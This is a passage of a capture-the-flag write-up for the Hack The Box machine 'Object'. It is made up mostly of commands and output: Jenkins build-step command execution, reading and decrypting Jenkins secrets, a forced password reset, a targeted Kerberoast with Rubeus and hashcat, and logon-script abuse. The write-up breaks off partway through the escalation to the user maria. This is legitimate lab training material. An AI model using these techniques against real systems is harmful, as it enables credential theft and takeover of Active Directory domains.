Object
Object is a hard Windows machine running Jenkins automation server. Foothold is obtained by decrypting the Jenkins secrets. The foothold user is found to have ForceChangePassword permissions on another user called smith . This privilege abuse allows us to gain access to smith . smith has GenericWrite permissions on maria . Abusing this privilege allows us to gain access to the server as this user. maria has WriteOwner permissions on Domain Admins group,whose privileges we exploit to get a SYSTEM shell
NMAP
──(puck㉿kali)-[~/htb/object] └─$ nmap -Pn -sC -sV 10.10.11.132 -oN object.htb Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-05 16:08 CET Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for 10.10.11.132 Host is up (0.0086s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Mega Engines 8080/tcp open http Jetty 9.4.43.v20210629 |_http-title: Site doesn't have a title (text/html;charset=utf-8). |_http-server-header: Jetty(9.4.43.v20210629) | http-robots.txt: 1 disallowed entry |_/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.32 seconds
.
PORT 80 (HTTP)
On port 80 we can see a domain name object.htb so let’s add this domain name in /etc/hosts file and start fuzzing for files and directories using gobuster also it tells about to “login and submit code on the automation server” which is running at port 8080
Gobuster didn’t find anything so next we can enumerate for subdomains
I kept running wfuzz so while it’s running we can look at port 8080, on this port we have an instance on jenkins running
PORT 8080 (HTTP)
I tried the default admin:admin credentials but it didn’t work so we can just create an account
We are logged and on bottom right corner we can see the version of jenkins which is 2.317
Also there wasn’t any subdomain which wfuzz found
So we can make a Freestyle project by going to New Item
After naming the project you’ll be presented to Build Triggers, Build Environment, Source code management and etc.
Select Build Triggers and then select Build periodically ,
it will create a scheduled task , and this will start building your project, we configure the job to run after a minute * * * * *
https://stackoverflow.com/questions/12472645/how-do-i-schedule-jobs-in-jenkins
Next under Build, we can see an option for Add Build step in which we can select Execute Windows Batch command
Going back to dashboard we can see a successful build
This shows that we are executing commands as oliver
So next I tried to see if I can ping my machine from here
We can so now let’s transfer nc64.exe on this machine
But it wasn’t able to make a connection to this port
So I changed the port to 9001 and it still didn’t make a connection
It could be that there’s a firewall configure to not allow any outbound traffic, so we can use powershell’s cmdlet Get-NetFirewallRule to list firewall rules and we need to check for outbound
cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound
Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound
Name : {D6399A8B-5E04-458F-AA68-62F64A4F1F43}
DisplayName : BlockOutboundDC
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Outbound
Action : Block
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
So we can’t get a reverse shell as the traffic won’t go out , next we can do is look where jenkins stores passwords
Foothold
We can attempt to read the credentials.xml file, in case any credentials have been added to Jenkins.
We see our user and admin users folders. Let’s check the contents of config.xml inside the admin folder.
This reveals that the credentials of user oliver are stored on Jenkins.
Save this file as credentials.xml on your machine.
Now let’s retrieve master.key and hudson.util.Secret from secrets folder.
cmd.exe /c "dir c:\Users\oliver\Appdata\local\jenkins\.jenkins\users"
ConsoleOutput:
Started by timer
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie
[puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins712492265978850530.bat
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "dir c:\Users\oliver\Appdata\local\jenkins\.jenkins\users"
Volume in drive C has no label.
Volume Serial Number is 212C-60B7
Directory of c:\Users\oliver\Appdata\local\jenkins\.jenkins\users
03/05/2025 11:44 PM <DIR> .
03/05/2025 11:44 PM <DIR> ..
10/21/2021 01:22 AM <DIR> admin_17207690984073220035
03/05/2025 11:44 PM <DIR> puck_5926849104631399697
03/05/2025 11:44 PM 402 users.xml
1 File(s) 402 bytes
4 Dir(s) 4,661,514,240 bytes free
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0
Finished: SUCCESS
.
https://stackoverflow.com/questions/39340322/how-to-reset-the-user-password-of-jenkins-on-windows
Looking for a decrpytor for passwords I found a github repo which was go script
https://github.com/hoto/jenkins-credentials-decryptor
And this wants credentials.xml, master.key and hudson.util.Secret
cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml"Started by timer
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie
[puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins17350801960803601133.bat
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml"
<?xml version='1.1' encoding='UTF-8'?>
<user>
<version>10</version>
<id>admin</id>
<fullName>admin</fullName>
<properties>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
<entry>
<com.cloudbees.plugins.credentials.domains.Domain>
<specifications/>
</com.cloudbees.plugins.credentials.domains.Domain>
<java.util.concurrent.CopyOnWriteArrayList>
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
<id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
<description></description>
<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
<usernameSecret>false</usernameSecret>
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
--snip--
<timestamp>1634793332195</timestamp>
</jenkins.security.LastGrantedAuthoritiesProperty>
</properties>
</user>
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0
Finished: SUCCESS
REST API
Jenkins 2.317
<SNIP> <description></description>
<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}
</password>
<usernameSecret>false</usernameSecret>
<SNIP>
Save this file as credentials.xml on your machine. Now let’s retrieve master.key and hudson.util.Secret from secrets folder
cmd.exe /c “type c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\master.key”
powershell.exe -c “$c=[convert]::ToBase64String((Get-Content -path ‘c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\hudson.util.Secret’ -Encoding byte));Write-Output $c”
Console Output:
Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie [puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins16015007806811498831.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\master.key" f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>powershell.exe -c "$c=[convert]::ToBase64String((Get-Content -path 'c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\hudson.util.Secret' -Encoding byte));Write-Output $c" gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA= C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0 Finished: SUCCESS
We can then decrypt the secret using jenkins_offline_decrypt. jenkins_offline_decrypt.py
┌──(puck㉿kali)-[~/htb/object] └─$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml c1cdfun_d2434
Like this we were able to recover the plain text password which is c1cdfun_d2434, since winrm is open on the machine we can just use this password for oliver user and get a shell on the machine
From Windows VM
PS C:\PENTEST> $pass = ConvertTo-SecureString "c1cdfun_d2434" -AsPlainText -Force
PS C:\PENTEST> $cred = New-Object System.Management.Automation.PSCredential("OBJECT\oliver", $pass)
PS C:\PENTEST> Invoke-Command -ComputerName object.htb -Credential $cred -ScriptBlock { whoami } object\oliver
PS C:\PENTEST>
.
PS C:\PENTEST> $pass = ConvertTo-SecureString "c1cdfun_d2434" -AsPlainText -Force
PS C:\PENTEST> $cred = New-Object System.Management.Automation.PSCredential("OBJECT\oliver", $pass)
PS C:\PENTEST> Enter-PSSession -ComputerName object.htb -Credential $cred
[object.htb]: PS C:\Users\oliver\Documents> whoami object\oliver
.
c:\Python\Scripts>evil-winrm-py.exe -i object.htb -u oliver -p c1cdfun_d2434 _asci_art/ v1.4.1 [*] Connecting to 'object.htb:5985' as 'oliver' evil-winrm-py PS C:\Users\oliver\Documents> upload PowerView.ps1 . Uploading C:\Python\Scripts\PowerView.ps1: 768kB [00:03, 262kB/s] [+] File uploaded successfully as: C:\Users\oliver\Documents\PowerView.ps1 evil-winrm-py PS C:\Users\oliver\Documents>
.
From KALI VM
┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'oliver' -p 'c1cdfun_d2434' Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\oliver\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\oliver\Documents>
Looking at C:\Users we do see other users as well
We can check for local ports on the machine by running netstat -aof
*Evil-WinRM* PS C:\Users\oliver\Documents> netstat -aof Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:80 jenkins.object.local:0 LISTENING 4 TCP 0.0.0.0:88 jenkins.object.local:0 LISTENING 656 TCP 0.0.0.0:135 jenkins.object.local:0 LISTENING 904 TCP 0.0.0.0:389 jenkins.object.local:0 LISTENING 656 TCP 0.0.0.0:445 jenkins.object.local:0 LISTENING 4 TCP 0.0.0.0:464 jenkins.object.local:0 LISTENING 656 --snip- TCP 0.0.0.0:49695 jenkins.object.local:0 LISTENING 2964 TCP 0.0.0.0:49923 jenkins.object.local:0 LISTENING 2976 TCP 10.10.11.132:53 jenkins.object.local:0 LISTENING 2964 TCP 10.10.11.132:139 jenkins.object.local:0 LISTENING 4 TCP 10.10.11.132:5985 10.10.14.2:39566 TIME_WAIT 0
Port 88 being open on this machine tells us that it’s an active directory machine and this is a domain controller as kerberos runs on a DC.
So to enumerate the AD domain we need to somehow transfer sharphound.exe on the machine
*Evil-WinRM* PS C:\Users\oliver\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> upload SharpHound.exe
Info: Uploading /home/puck/htb/object/SharpHound.exe to C:\programdata\SharpHound.exe
Data: 1395368 bytes of 1395368 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> ./SharpHound.exe all
2025-03-05T08:03:39.2208887-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-03-05T08:03:39.3615152-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-03-05T08:03:39.3771615-08:00|INFORMATION|Initializing SharpHound at 8:03 AM on 3/5/2025
2025-03-05T08:03:39.5021286-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for object.local : jenkins.object.local
2025-03-05T08:03:39.5333857-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-03-05T08:03:39.6740295-08:00|INFORMATION|Beginning LDAP search for object.local
2025-03-05T08:03:39.7052642-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-03-05T08:03:39.7052642-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-03-05T08:04:09.9396449-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2025-03-05T08:04:23.7052536-08:00|INFORMATION|Consumers finished, closing output channel
2025-03-05T08:04:23.7521298-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-03-05T08:04:23.9708843-08:00|INFORMATION|Status: 92 objects finished (+92 2.090909)/s -- Using 42 MB RAM
2025-03-05T08:04:23.9708843-08:00|INFORMATION|Enumeration finished in 00:00:44.3016914
2025-03-05T08:04:24.0490082-08:00|INFORMATION|Saving cache with stats: 52 ID to type mappings.
52 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-03-05T08:04:24.0490082-08:00|INFORMATION|SharpHound Enumeration Completed at 8:04 AM on 3/5/2025! Happy Graphing!
*Evil-WinRM* PS C:\programdata> ls *.zip
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/5/2025 8:04 AM 11526 20250305080423_BloodHound.zip
*Evil-WinRM* PS C:\programdata> download 20250305080423_BloodHound.zip
Info: Downloading C:\programdata\20250305080423_BloodHound.zip to 20250305080423_BloodHound.zip
Info: Download successful!
*Evil-WinRM* PS C:\programdata>
.
Start bloodhound by running sudo neo4j console first and then bloodhoud GUI and upload the json files from the zip archive
Privilege Escalation (Oliver -> Smith -> Maria)
Running the query shortest path to domain admin, we can see a path from oliver to smith that we can change smith’s password,
further smith has write options on maria user object and maria is a writeowner of domain admin

Privilege Escalation (Smith)
Running the query shortest path to domain admin, we can see a path from oliver to smith that we can change smith’s password,
further smith has write options on maria user object and maria is a writeowner of domain admin
I tried to change smith’s password with net usersmith but it didn’t work
bloodyAD . https://github.com/CravateRouge/bloodyAD┌──(puck㉿kali)-[~/htb/object]
└─$ evil-winrm -i object.htb -u 'oliver' -p 'c1cdfun_d2434'
*Evil-WinRM* PS C:\Users\oliver\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> upload bloodyAD.exe
Info: Uploading /home/puck/htb/object/bloodyAD.exe to C:\programdata\bloodyAD.exe
Data: 18455676 bytes of 18455676 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> .\bloodyAD.exe --host 127.0.0.1 -d object.htb set password "smith" "Summer2025!"
bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
+ CategoryInfo : NotSpecified: (unicrypto\backe...thms in 48.0.0.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[+] Password changed successfully!
*Evil-WinRM* PS C:\programdata>
We could also use powerview module to do that which is suggested in bloodhound help to abuse ForceChangePassword
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString 'Password1' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity smith -AccountPassword $pass
Check if pasword changed successfully with netexec
┌──(puck㉿kali)-[~/htb/object] └─$ nxc winrm 10.10.11.132 -u 'smith' -p 'Summer2025!' WINRM 10.10.11.132 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.10.11.132 5985 JENKINS [+] object.local\smith:Summer2025! (Pwn3d!)
And now to login as smith
┌──(puck㉿kali)-[~/htb/object]
└─$ evil-winrm -i object.htb -u 'smith' -p 'Summer2025!'
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\smith\Documents> whoami
object\smith
*Evil-WinRM* PS C:\Users\smith\Documents>
We saw that user smith has GenericWriteon user maria , we can make this user account a SPN to get a TGS ticket.
BloodHound Help: GenericWrite
The user SMITH@OBJECT.LOCAL has generic write access to the user MARIA@OBJECT.LOCAL.
Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user
A targeted kerberoast attack can be performed using PowerView's Set-DomainObject along with Get-DomainSPNTicket.
You may need to authenticate to the Domain Controller as SMITH@OBJECT.LOCAL if you are not running a process as that user. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as SMITH@OBJECT.LOCAL:
First of all we will get some information about the user maria:
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity maria
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity maria
logoncount : 39
badpasswordtime : 10/22/2021 5:54:46 AM
distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : maria garcia
lastlogontimestamp : 3/12/2025 8:24:19 AM
userprincipalname : maria@object.local
name : maria garcia
objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106
samaccountname : maria
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 3/12/2025 3:24:19 PM
instancetype : 4
usncreated : 20645
objectguid : 9340fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f
sn : garcia
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local
dscorepropagationdata : {10/22/2021 10:21:48 AM, 10/22/2021 10:10:02 AM, 10/22/2021 10:04:25 AM, 10/22/2021 9:52:43 AM...}
givenname : maria
memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local
lastlogon : 3/12/2025 8:24:19 AM
badpwdcount : 0
cn : maria garcia
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 10/22/2021 4:16:32 AM
primarygroupid : 513
pwdlastset : 10/21/2021 9:16:32 PM
usnchanged : 159808
Kerberoast
With setspn we consult the service principal names created in the domain controller:
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q */*
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q */*
Checking domain DC=object,DC=local
CN=JENKINS,OU=Domain Controllers,DC=object,DC=local
ldap/JENKINS/ForestDnsZones.object.local
ldap/jenkins.object.local/ForestDnsZones.object.local
ldap/WIN-LR8T2EF8VHM/ForestDnsZones.object.local
ldap/WIN-LR8T2EF8VHM/DomainDnsZones.object.local
--snip--
ldap/jenkins.object.local
ldap/jenkins.object.local/object.local
RPC/20620d5f-c8cd-4abd-9c82-2287112869e8._msdcs.object.local
E3514235-4B06-11D1-AB04-00C04FC2DCD2/20620d5f-c8cd-4abd-9c82-2287112869e8/object.local
ldap/20620d5f-c8cd-4abd-9c82-2287112869e8._msdcs.object.local
CN=krbtgt,CN=Users,DC=object,DC=local
kadmin/changepw
Existing SPN found!
*Evil-WinRM* PS C:\programdata>
.
Next we create a SPN and associate this with user Maria
.
*Evil-WinRM* PS C:\programdata> $SecPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword) *Evil-WinRM* PS C:\programdata> Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='RAGNAR/LOTHBROK'}
Now we verify that it has been created correctly:
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q RAGNAR/LOTHBROK
And then use Rubeus for a Kerberoast attack:
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe kerberoast /creduser:object.local\smith /credpassword:'Password1!' /nowrap
*Evil-WinRM* PS C:\programdata> whoami
object\smith
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q RAGNAR/LOTHBROK
Checking domain DC=object,DC=local
CN=maria garcia,CN=Users,DC=object,DC=local
RAGNAR/LOTHBROK
Existing SPN found!
*Evil-WinRM* PS C:\programdata> upload rubeus.exe
Info: Uploading /home/puck/htb/object/rubeus.exe to C:\programdata\rubeus.exe
Error: Upload failed. Check filenames or paths: No such file or directory - No such file or directory /home/puck/htb/object/rubeus.exe
*Evil-WinRM* PS C:\programdata> upload Rubeus.exe
Info: Uploading /home/puck/htb/object/Rubeus.exe to C:\programdata\Rubeus.exe
Data: 617128 bytes of 617128 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe kerberoast /creduser:object.local\smith /credpassword:'Password1!' /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : object.local
[*] Searching path 'LDAP://jenkins.object.local/DC=object,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : maria
[*] DistinguishedName : CN=maria garcia,CN=Users,DC=object,DC=local
[*] ServicePrincipalName : RAGNAR/LOTHBROK
[*] PwdLastSet : 10/21/2021 9:16:32 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*maria$object.local$RAGNAR/LOTHBROK@object.local*$D40FD91C3E43BC38A9F6CC4CF19E55E9$FB2FDD1170B3BC09C9767D24B22DFC45CBDD3730EDAC1B2CEFA22E519300C24C329DA1DBA1256B952293116FFF4F69250517939DE9CFDE878257023339FFD83A767A1A668AD03ADFCF74AE0CA559AB44901FC695E5FA14CAE6BBC4BFA46EAB75AD1BB4DF0F7D6A17018FDE203AD5C6C5F2CB93C1A3576E4F3A1594A9B8D81FAC63EE372C5DA85BF007F771AE97F95935FEDA8474954628B38E9BB3E2EF61E0B129CCD14A3C2DA35997F1E6B41860F7B81450435C847E646A6C066E7F584314268DC18B829AB9C3B337ED11AEDC4E326B56A1D75C35653F05D7430E3A2DC2FACB6B7021E2A6438F920519D52B107A952377F81EFA3EF4C0C5CA93B5990C3A73BD61FA1FF5D886CA1B23EBDC1098EC2985789C5A91EEB0DD324B2CA0BEE3B4C6F3E37C825301561D323DCEDF00874FD36D1566C3AE93C318A84FD13B8006AA44852029A69DFA379AB01D1BF393BB7D66D1D0477998EA5BBB7075BE9BE0BEEC0DC4EC1C5F395E0E62FADC9F5808369BB01AE3CF1D3672344DAA347E52CBCFCCCA6F8F8EE75E430271C86E9FE8F69C9765596D2420F6793437531DE0F46312BEB595B4995725CD1B3F003826BDFA0D4E77B6E6F58EEE2591E968CE2938801E861D1F5A85D2589806111B84256D0470328C40A61C57EC20F35E87BC7112BA40AC2B6E80CF194AA665CE7D7550EC2C9D285D16DD4808C9CC6EA85D207A724FE5350E71A49DE2E20B83E1A50A6D2B9B55EE6B14DC051AB27A870DE7F3F8E8DFA9F4B478F51FD75AE6119CC11EC9D329B0845BD6513649472A50D38BED83379B0321D9905B08A7516750B952DDEE4F3878F6354CE13836C1A67DF74B3028B1C768A79D537F3D7E11DE89E034CCE8E747EA47A0270D9D8E499985C540C885E16467302BE01D861EB9BC38F2B597E25929396A12BDE3A6B6BACF0A7EC588B185578DE6DB690FB9C5148DF7DB46EEF2141924025B61E130742BBC50ADCA721734EC45124D4851C32B1F21F8A5E13CE6253405DE3EB9C2E40BA6D8298ADDD78D97F38DC2FF8F131B965D9CDD70AEA99D62C3F1A478AE2C9756AE10D91B0C9D5B53A88A28BBED78431AA9125AC06A7D16BC4B1591B37D8C011B157AF7E6BE98ED3F621D9ABCD427E75FFE0EBE7315D0D180C4729763B0F946EB408FE3ECF1A2EE6260E75FB19F2A3845CB53D981F5A7005A4F3E6DACED4914C46D42E94E958789938B96672EC274BCD24DD59736A32A76CDB9A6858627BE72D466A475DF087A58B0FB3E94975DA62BB153A3D73BC9A70BCF008FA3699C292BA9896BD5860C914D94830A580D70D8F119877A73AB9C284EB8C3CB6BFA54F61030E4ADA6AE5A2DFA9F2ED0080BAB5C82979C24380C257CBDDA7224FEECFBF16B76AB7AE5C34A06B0AF75AE05FA255631347B00589C4E8C82874A483806FD45483D43B386881F064D2800219CE1D2CEB276D86FBF3F53114F2471546C559D
*Evil-WinRM* PS C:\programdata>
C:\Users\puck\Downloads\hashcat-6.2.5>hashcat.exe -m 13100 maria.txt -r OneRuleToRuleThemAll.rule rockyou.txt --force
But it cracks with a custom wordlist
┌──(puck㉿kali)-[~/htb/object]
└─$ hashcat -m 13100 mariahash.txt maria-pass.txt --force
hashcat (v6.2.6) starting
Dictionary cache built:
* Filename..: maria-pass.txt
$krb5tgs$23$*maria$object.local$RAGNAR/LOTHBROK@object.local*$d5a69--snip--48b8b:W3llcr4ft3d_4cls
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*maria$object.local$RAGNAR/LOTHBROK@obj...848b8b
Time.Started.....: Wed Mar 12 16:47:13 2025, (0 secs)
Time.Estimated...: Wed Mar 12 16:47:13 2025, (0 secs)
Started: Wed Mar 12 16:47:12 2025
Stopped: Wed Mar 12 16:47:15 2025
┌──(puck㉿kali)-[~/htb/object]
└─$
See also HackTricks:
We still can abuse this by setting up a logon script, this will execute when maria will logon to the machine
https://www.thehacker.recipes/ad/movement/access-controls/logon-script
Privilege Escalation (Maria)
So using powerview’s module we can use
Set-DomainObject -Identity maria -SET @{scriptpath="C:\ProgramData\logonscript.ps1"}
This will execute the powershell script which will list the contents in Desktop folder of maria, I did however tried to change maria’s password through net user maria Password123! but this didn’t work
Logon Script
HackTricks suggests I can use GenericWrite on a user to update their logon scripts. This script would run the next time the user logs in. That’s not typical on HTB/CTF machines, but it’s possibly something automated in the background.
I’ll write a script that will ping my host, remembering from the firewall enumeration earlier that ICMP is one of the few things allowed outbound, and set the script:
*Evil-WinRM* PS C:\programdata> echo "ping 10.10.14.6" > ping.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}
Instantly there are packets at tcpdump:
puck@kali$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
ec11:20:01.252961 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11053, length 40
11:20:01.253007 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11053, length 40
11:20:02.260576 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11056, length 40
11:20:02.260615 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11056, length 40
11:20:03.276421 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11059, length 40
11:20:03.276457 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11059, length 40
11:20:04.279746 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11062, length 40
11:20:04.279779 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11062, length 40
...[snip]..
I would have expected only five pings, but it goes on indefinitely until I change the script. It seems this logon script is being run repeatedly
.
Home Dir Enum
Because I know I can’t connect back because of the firewall, I’ll drop scripts into the logon that write results where I can read them. For example:
*Evil-WinRM* PS C:\programdata> echo "ls \users\maria\ > \programdata\out" > cmd.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
About a second or so later there’s an out:
*Evil-WinRM* PS C:\programdata> type out
Directory: C:\users\maria
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 10/22/2021 3:54 AM 3D Objects
d-r--- 10/22/2021 3:54 AM Contacts
d-r--- 10/25/2021 3:47 AM Desktop
d-r--- 10/25/2021 10:07 PM Documents
d-r--- 10/22/2021 3:54 AM Downloads
d-r--- 10/22/2021 3:54 AM Favorites
d-r--- 10/22/2021 3:54 AM Links
d-r--- 10/22/2021 3:54 AM Music
d-r--- 10/22/2021 3:54 AM Pictures
d-r--- 10/22/2021 3:54 AM Saved Games
d-r--- 10/22/2021 3:54 AM Searches
d-r--- 10/22/2021 3:54 AM Videos
It’s interesting that the Documents and Desktop folders have different timestamp than the rest. I’ll list those directories:
